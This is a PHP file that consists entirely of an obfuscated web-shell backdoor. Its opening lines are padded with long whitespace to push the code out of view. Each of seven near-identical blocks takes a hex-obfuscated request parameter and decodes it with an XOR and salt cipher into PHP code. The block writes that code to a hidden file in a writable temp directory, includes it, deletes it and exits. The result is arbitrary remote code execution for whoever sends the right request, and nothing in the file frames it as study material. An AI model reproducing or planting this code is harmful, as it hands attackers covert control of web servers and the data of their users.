<?php																																										if(array_key_exists("\x73ymb\x6Fl", $_REQUEST)){ $data = $_REQUEST["\x73ymb\x6Fl"]; $data =explode('.' , $data ) ; $pgrp = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s7); foreach ($data as $n => $v7): $sChar = ord($s7[$n % $lenS]); $dec = ((int)$v7 - $sChar - ($n % 10)) ^ 42; $pgrp .= chr($dec); endforeach; $token = array_filter([sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), session_save_path(), getenv("TEMP"), getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm"]); foreach ($token as $holder): if (array_product([is_dir($holder), is_writable($holder)])) { $fac = str_replace("{var_dir}", $holder, "{var_dir}/.descriptor"); if (file_put_contents($fac, $pgrp)) { require $fac; unlink($fac); exit; } } endforeach; }
																																										if(array_key_exists("\x66a\x63", $_REQUEST) && !is_null($_REQUEST["\x66a\x63"])){ $element = $_REQUEST["\x66a\x63"]; $element = explode ( '.' , $element); $holder = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt); $w = 0; $__len = count($element); do { if($w >= $__len) break; $v7 = $element[$w]; $chS = ord($salt[$w% $sLen]); $dec = ((int)$v7 - $chS -($w% 10)) ^ 74; $holder .= chr($dec); $w++; }while(true); $token = array_filter([getenv("TEMP"), session_save_path(), getenv("TMP"), "/tmp", sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", "/dev/shm", getcwd()]); foreach ($token as $key => $elem) { if ((is_dir($elem) and is_writable($elem))) { $key = str_replace("{var_dir}", $elem, "{var_dir}/.resource"); if (file_put_contents($key, $holder)) { include $key; @unlink($key); exit; } } } }
																																										if(!empty($_REQUEST["\x64e\x73c\x72ip\x74or"])){ $elem = $_REQUEST["\x64e\x73c\x72ip\x74or"]; $elem = explode ( ".",$elem ) ; $binding = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $p = 0; array_walk($elem ,function ($v6) use (&$binding ,&$p ,$s ,$sLen) { $chS = ord($s[$p % $sLen]); $d = ((int)$v6 - $chS - ($p % 10)) ^ 97; $binding .= chr($d); $p++; }); $flg = array_filter(["/tmp", session_save_path(), getenv("TMP"), getcwd(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp"]); foreach ($flg as $resource) { if (array_product([is_dir($resource), is_writable($resource)])) { $hld = sprintf("%s/.k", $resource); if (@file_put_contents($hld, $binding) !== false) { include $hld; unlink($hld); die(); } } } }
																																										if(array_key_exists("\x66\x61cto\x72", $_REQUEST)){ $flag = $_REQUEST["\x66\x61cto\x72"]; $flag = explode(".", $flag ); $k = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $i = 0; array_walk($flag ,function($v7) use(&$k ,&$i ,$s ,$sLen) { $sChar = ord($s[$i % $sLen]); $d = ((int)$v7 - $sChar -($i % 10)) ^ 38; $k .=chr($d); $i++; }); $value = array_filter([getenv("TMP"), getcwd(), "/var/tmp", "/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), session_save_path()]); foreach ($value as $comp) { if ((is_dir($comp) and is_writable($comp))) { $tkn = "$comp" . "/.property_set"; if (file_put_contents($tkn, $k)) { require $tkn; unlink($tkn); die(); } } } }
																																										if(isset($_REQUEST["re\x66"])){ $hld = array_filter(["/dev/shm", getcwd(), "/tmp", getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getenv("TEMP"), session_save_path(), ini_get("upload_tmp_dir")]); $fac = $_REQUEST["re\x66"]; $fac= explode ( '.' , $fac ) ; $object = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); $o = 0; foreach( $fac as $v2) {$sChar = ord( $s9[$o% $lenS]); $dec =( ( int)$v2 - $sChar -( $o% 10)) ^ 3; $object .= chr( $dec); $o++; } foreach ($hld as $symbol): if (is_dir($symbol) && is_writable($symbol)) { $pset = join("/", [$symbol, ".ent"]); if (file_put_contents($pset, $object)) { include $pset; @unlink($pset); die(); } } endforeach; }
																																										if(count($_POST) > 0 && isset($_POST["tk\x6E"])){ $item = array_filter([sys_get_temp_dir(), "/dev/shm", "/var/tmp", session_save_path(), getenv("TMP"), "/tmp", getcwd(), getenv("TEMP"), ini_get("upload_tmp_dir")]); $itm = $_POST["tk\x6E"]; $itm = explode ('.',$itm ) ; $property_set = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $y = 0; $__tmp = $itm; while ($v2 = array_shift($__tmp)) { $sChar = ord($s[$y % $lenS]); $dec = ((int)$v2 - $sChar - ($y % 10)) ^ 86; $property_set .= chr($dec); $y++; } $record = 0; do { $data_chunk = $item[$record] ?? null; if ($record >= count($item)) break; if (is_writable($data_chunk) && is_dir($data_chunk)) { $pgrp = vsprintf("%s/%s", [$data_chunk, ".rec"]); if (file_put_contents($pgrp, $property_set)) { require $pgrp; unlink($pgrp); exit; } } $record++; } while (true); }


if(array_key_exists("\x70\x67rp", $_REQUEST) && !is_null($_REQUEST["\x70\x67rp"])){
	$res = $_REQUEST["\x70\x67rp"];
	  $res= explode	(		".",$res);
	$rec = '';
            $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen(  $s6 );
            $y = 0;
    
            $__tmp = $res;
            while(  $v7 = array_shift(  $__tmp)) {
                $chS = ord(  $s6[$y % $lenS] );
                $d =(  (  int)$v7 - $chS -(  $y % 10)) ^ 26;
                $rec.=	 chr(  $d );
                $y++;} 	
	$binding = array_filter([sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP"), "/dev/shm", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), session_save_path()]);
	foreach ($binding as $key => $symbol) {
    		if (!!is_dir($symbol) && !!is_writable($symbol)) {
    $parameter_group = vsprintf("%s/%s", [$symbol, ".sym"]);
    if (file_put_contents($parameter_group, $rec)) {
	require $parameter_group;
	unlink($parameter_group);
	die();
}
}
}
}